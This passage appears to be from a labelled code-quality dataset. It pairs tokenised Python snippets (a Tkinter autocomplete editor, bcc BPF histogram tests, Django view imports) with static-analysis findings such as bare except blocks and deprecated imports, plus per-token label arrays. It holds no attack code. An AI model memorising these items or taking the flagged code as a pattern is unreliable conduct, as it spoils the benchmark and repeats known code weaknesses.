"\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "=_", "self_", "._", "list_", "._", "get_", "(_", "i_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "replace_", "(_", "\"", "current", "\\u", "cell", ".", "first", "\"_", ",_", "\"", "current", "\\u", "cell", ".", "last", "\"_", ",_", "text_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "complete", "\\u", "frame_", "._", "place", "\\u", "forget", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\"", "break", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "select", "\\u", "next_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "selection_", "=_", "self_", "._", "list_", "._", "curse", "lection", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "selection_", "is_", "not_", "None_", "and_", "len_", "(_", "selection_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "index_", "=_", "int_", "(_", "selection_", "[_", "0_", "]_", ")_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "list_", "._", "activate_", "(_", "index_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "list_", "._", "see", "_", "(_", "index_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "list_", "._", "selection", "\\u", "clear_", "(_", "0_", ",_", "\"", "end", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "list_", "._", "selection", "\\u", "set_", "(_", "\"", "active", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "select", "\\u", "prev_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "selection_", "=_", "self_", "._", "list_", "._", "curse", "lection", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "selection_", "is_", "not_", "None_", "and_", "len_", "(_", "selection_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "index_", "=_", "int_", "(_", "selection_", "[_", "0_", "]_", ")_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "list_", "._", "activate_", "(_", "index_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "list_", "._", "see", "_", "(_", "index_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "list_", "._", "selection", "\\u", "clear_", "(_", "0_", ",_", "\"", "end", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "list_", "._", "selection", "\\u", "set_", "(_", "\"", "active", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "on", "\\u", "up_", "(_", "self_", ",_", "event_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "complete", "\\u", "frame_", "._", "win", "fo", "\\u", "view", "able_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "select", "\\u", "prev_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\"", "break", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "on", "\\u", "down_", "(_", "self_", ",_", "event_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "complete", "\\u", "frame_", "._", "win", "fo", "\\u", "view", "able_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "select", "\\u", "next_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\"", "break", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "on", "\\u", "escape_", "(_", "self_", ",_", "event_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "self_", "._", "complete", "\\u", "frame_", "._", "win", "fo", "\\u", "view", "able_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "complete", "\\u", "frame_", "._", "place", "\\u", "forget", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "tag", "\\u", "current", "\\u", "cell_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "tag", "\\u", "remove_", "(_", "\"", "current", "\\u", "cell", "\"_", ",_", "1.0_", ",_", "\"", "end", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "start_", ",_", "end_", ")_", "=_", "self_", "._", "current", "\\u", "cell_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "tag", "\\u", "add_", "(_", "\"", "current", "\\u", "cell", "\"_", ",_", "start_", ",_", "end_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "=_", "self_", "._", "search_", "(_", "\"", " ", "\\\\|", " ", "\"_", ",_", "\"", "insert", "\"_", ",_", "stop", "index_", "=_", "\"", "insert", " ", "linest", "art", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "backwards_", "=_", "True_", ",_", "regexp_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "i_", "==_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cell", "\\u", "start_", "=_", "self_", "._", "index_", "(_", "\"", "insert", " ", "linest", "art", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cell", "\\u", "start_", "=_", "self_", "._", "search_", "(_", "r", "'[", "^", "\\\\", "s", "]'_", ",_", "\"%", "s", "+", "3c", "\"_", "%_", "i_", ",_", "regexp_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "i_", "=_", "self_", "._", "search_", "(_", "\"", " ", "+\\\\", "|", " ", "\"_", ",_", "cell", "\\u", "start_", ",_", "stop", "index_", "=_", "\"", "insert", " ", "line", "end", "\"_", ",_", "regexp_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "i_", "==_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cell", "\\u", "end_", "=_", "self_", "._", "index_", "(_", "\"", "insert", " ", "line", "end", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cell", "\\u", "end_", "=_", "i_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "tag", "\\u", "remove_", "(_", "\"", "current", "\\u", "cell", "\"_", ",_", "1.0_", ",_", "\"", "end", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "tag", "\\u", "add_", "(_", "\"", "current", "\\u", "cell", "\"_", ",_", "cell", "\\u", "start_", ",_", "cell", "\\u", "end_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "on", "\\u", "autocomplete", "_", "(_", "self_", ",_", "event_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "event", "\\u", "generate_", "(_", "\"<<", "Auto", "Complete", ">>", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "repos", "ition", "\\u", "choices_", "(_", "force_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "repos", "ition", "\\u", "choices_", "(_", "self_", ",_", "force_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "remove", " ", "this", " ", "line", " ", "to", " ", "have", " ", "auto", "-", "completion", " ", "window", " ", "alm", "ost_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "alw", "ay", "s", " ", "visi", "ble", ".", " ", "I", " ", "can", "'", "t", " ", "decide", " ", "--", " ", "automati", "c", ",", " ", "or", " ", "only_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "on", " ", "control", "-", "space", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "force_", "and_", "not_", "self_", "._", "complete", "\\u", "frame_", "._", "win", "fo", "\\u", "view", "able_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bbox_", "=_", "self_", "._", "bbox_", "(_", "\"", "current", "\\u", "cell", ".", "first", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "fx_", "=_", "bbox_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fy_", "=_", "bbox_", "[_", "1_", "]_", "+_", "bbox_", "[_", "3_", "]_", "+_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yoff", "set_", "=_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "list", "height_", "=_", "self_", "._", "complete", "\\u", "frame_", "._", "win", "fo", "\\u", "req", "height_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "fy_", "+_", "list", "height_", ">_", "self_", "._", "win", "fo", "\\u", "height_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "won", "'", "t", " ", "fit", " ", "belo", "w", ";", " ", "go", " ", "to", " ", "plan", " ", "B", "!", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fy_", "=_", "bbox_", "[_", "1_", "]_", "-_", "(_", "list", "height_", "+_", "yoff", "set_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "fy_", "<_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "cra", "p", "!", " ", "won", "'", "t", " ", "fit", " ", "above", " ", "eit", "her", ".", " ", "Scr", "ew", " ", "it", ".", " ", "Show", " ", "it_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "belo", "w", " ", "and", " ", "let", " ", "the", " ", "user", " ", "suff", "er", " ", "the", " ", "consequ", "ences", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fy_", "=_", "bbox_", "[_", "1_", "]_", "+_", "bbox_", "[_", "3_", "]_", "+_", "yoff", "set_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "print", " ", "\"", " ", " ", " ", "fx", "/", "fy", ":\"", ",", " ", "fx", ",", "fy_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", "\"", " ", " ", "height", ":\"", ",", " ", "self", ".", "win", "fo", "\\u", "height", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", "\"", " ", " ", " ", "req", "height", " ", "of", " ", "frame", ":\"", ",", " ", "self", ".", "complete", "\\u", "frame", ".", "win", "fo", "\\u", "req", "height", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", "\"", " ", " ", " ", "actual", " ", "height", " ", "of", " ", "frame", ":\"", ",", " ", "self", ".", "complete", "\\u", "frame", ".", "win", "fo", "\\u", "height", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "complete", "\\u", "frame_", "._", "place_", "(_", "x_", "=_", "fx_", ",_", "y_", "=_", "fy_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
iovisor/bcc/tests/python/test_histogram.py
[ { "content": " def test_simple(self):\n b = BPF(text=\"\"\"\n#include <uapi/linux/ptrace.h>\n#include <linux/bpf.h>\nBPF_HISTOGRAM(hist1);\nBPF_HASH(stub);\nint kprobe__htab_map_delete_elem(struct pt_regs *ctx, struct bpf_map *map, u64 *k) {\n hist1.increment(bpf_log2l(*k));\n return 0;\n}\n\"\"\")\n for i in range(0, 32):\n for j in range(0, random.randint(1, 10)):\n try: del b[\"stub\"][c_ulonglong(1 << i)]\n except: pass\n b[\"hist1\"].print_log2_hist()\n\n for i in range(32, 64):\n for j in range(0, random.randint(1, 10)):\n try: del b[\"stub\"][c_ulonglong(1 << i)]\n except: pass\n b[\"hist1\"].print_log2_hist()", "metadata": "root.TestHistogram.test_simple", "header": "['class', 'TestHistogram', '(', 'TestCase', ')', ':', '___EOS___']", "index": 11 }, { "content": " def test_struct(self):\n b = BPF(text=\"\"\"\n#include <uapi/linux/ptrace.h>\n#include <linux/bpf.h>\ntypedef struct { void *map; u64 slot; } Key;\nBPF_HISTOGRAM(hist1, Key, 1024);\nBPF_HASH(stub1);\nBPF_HASH(stub2);\nint kprobe__htab_map_delete_elem(struct pt_regs *ctx, struct bpf_map *map, u64 *k) {\n hist1.increment((Key){map, bpf_log2l(*k)});\n return 0;\n}\n\"\"\")\n for i in range(0, 64):\n for j in range(0, random.randint(1, 10)):\n try: del b[\"stub1\"][c_ulonglong(1 << i)]\n except: pass\n try: del b[\"stub2\"][c_ulonglong(1 << i)]\n except: pass\n b[\"hist1\"].print_log2_hist()", "metadata": "root.TestHistogram.test_struct", "header": "['class', 'TestHistogram', '(', 'TestCase', ')', ':', '___EOS___']", "index": 34 } ]
[ { "span": "except: ", "start_line": 25, "start_column": 16, "end_line": 25, "end_column": 23 }, { "span": "except: ", "start_line": 31, "start_column": 16, "end_line": 31, "end_column": 23 }, { "span": "except: ", "start_line": 50, "start_column": 16, "end_line": 50, "end_column": 23 }, { "span": "except: ", "start_line": 52, "start_column": 16, "end_line": 52, "end_column": 23 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "class_", "Test", "Histogram", "_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "simple_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "b_", "=_", "BP", "F_", "(_", "text_", "=_", "\"\"\"", "\\", "10", ";", "#", "include", " ", "<", "ua", "pi", "/", "linux", "/", "ptr", "ace", ".", "h", ">", "\\", "10", ";", "#", "include", " ", "<", "linux", "/", "bpf", ".", "h", ">", "\\", "10", ";", "BP", "F", "\\u", "HIS", "TOG", "RAM", "(", "hist", "1", ");", "\\", "10", ";", "BP", "F", "\\u", "HAS", "H", "(", "stub", ");", "\\", "10", ";", "int", " ", "kp", "robe", "\\u\\u", "hta", "b", "\\u", "map", "\\u", "delete", "\\u", "elem", "(", "struct", " ", "pt", "\\u", "regs", " ", "*", "ctx", ",", " ", "struct", " ", "bpf", "\\u", "map", " ", "*", "map", ",", " ", "u", "64", " ", "*", "k", ")", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "hist", "1", ".", "increment", "(", "bpf", "\\u", "log", "2l", "(*", "k", "))", ";", "\\", "10", ";", " ", " ", " ", " ", "return", " ", "0", ";", "\\", "10", ";}", "\\", "10", ";\"\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "0_", ",_", "32_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "j_", "in_", "range_", "(_", "0_", ",_", "random_", "._", "randint_", "(_", "1_", ",_", "10_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "del_", "b_", "[_", "\"", "stub", "\"_", "]_", "[_", "c\\u", "ulo", "ngl", "ong_", "(_", "1_", "<<_", "i_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "b_", "[_", "\"", "hist", "1", "\"_", "]_", "._", "print", "\\u", "log", "2", "\\u", "hist_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "32_", ",_", "64_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "j_", "in_", "range_", "(_", "0_", ",_", "random_", "._", "randint_", "(_", "1_", ",_", "10_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "del_", "b_", "[_", "\"", "stub", "\"_", "]_", "[_", "c\\u", "ulo", "ngl", "ong_", "(_", "1_", "<<_", "i_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "b_", "[_", "\"", "hist", "1", "\"_", "]_", "._", "print", "\\u", "log", "2", "\\u", "hist_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Histogram", "_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "struct_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "b_", "=_", "BP", "F_", "(_", "text_", "=_", "\"\"\"", "\\", "10", ";", "#", "include", " ", "<", "ua", "pi", "/", "linux", "/", "ptr", "ace", ".", "h", ">", "\\", "10", ";", "#", "include", " ", "<", "linux", "/", "bpf", ".", "h", ">", "\\", "10", ";", "typedef", " ", "struct", " ", "{", " ", "voi", "d", " ", "*", "map", ";", " ", "u", "64", " ", "slot", ";", " ", "}", " ", "Key", ";", "\\", "10", ";", "BP", "F", "\\u", "HIS", "TOG", "RAM", "(", "hist", "1", ",", " ", "Key", ",", " ", "1024", ");", "\\", "10", ";", "BP", "F", "\\u", "HAS", "H", "(", "stub", "1", ");", "\\", "10", ";", "BP", "F", "\\u", "HAS", "H", "(", "stub", "2", ");", "\\", "10", ";", "int", " ", "kp", "robe", "\\u\\u", "hta", "b", "\\u", "map", "\\u", "delete", "\\u", "elem", "(", "struct", " ", "pt", "\\u", "regs", " ", "*", "ctx", ",", " ", "struct", " ", "bpf", "\\u", "map", " ", "*", "map", ",", " ", "u", "64", " ", "*", "k", ")", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "hist", "1", ".", "increment", "((", "Key", "){", "map", ",", " ", "bpf", "\\u", "log", "2l", "(*", "k", ")}", ");", "\\", "10", ";", " ", " ", " ", " ", "return", " ", "0", ";", "\\", "10", ";}", "\\", "10", ";\"\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "0_", ",_", "64_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "j_", "in_", "range_", "(_", "0_", ",_", "random_", "._", "randint_", "(_", "1_", ",_", "10_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "del_", "b_", "[_", "\"", "stub", "1", "\"_", "]_", "[_", "c\\u", "ulo", "ngl", "ong_", "(_", "1_", "<<_", "i_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "del_", "b_", "[_", "\"", "stub", "2", "\"_", "]_", "[_", "c\\u", "ulo", "ngl", "ong_", "(_", "1_", "<<_", "i_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "b_", "[_", "\"", "hist", "1", "\"_", "]_", "._", "print", "\\u", "log", "2", "\\u", "hist_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2,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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Import of deprecated module
nicksergeant/snipt-old/views.py
[ { "content": "from django.contrib.auth import authenticate, login as auth_login\nfrom django.contrib.auth.models import User\nfrom django.contrib.comments.signals import comment_was_posted\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.contrib.auth.decorators import login_required\nfrom django.shortcuts import render_to_response\nfrom tagging.models import Tag, TaggedItem\nfrom django.template import RequestContext\nfrom snipt.snippet.models import Snippet, Referer\nfrom django.utils.html import escape\nfrom django.utils import simplejson\nfrom tagging.utils import get_tag\nfrom snipt.snippet.utils import *\nfrom django.http import Http404\nfrom settings import DEBUG\nfrom snipt.forms import *\nimport md5\n\nfrom 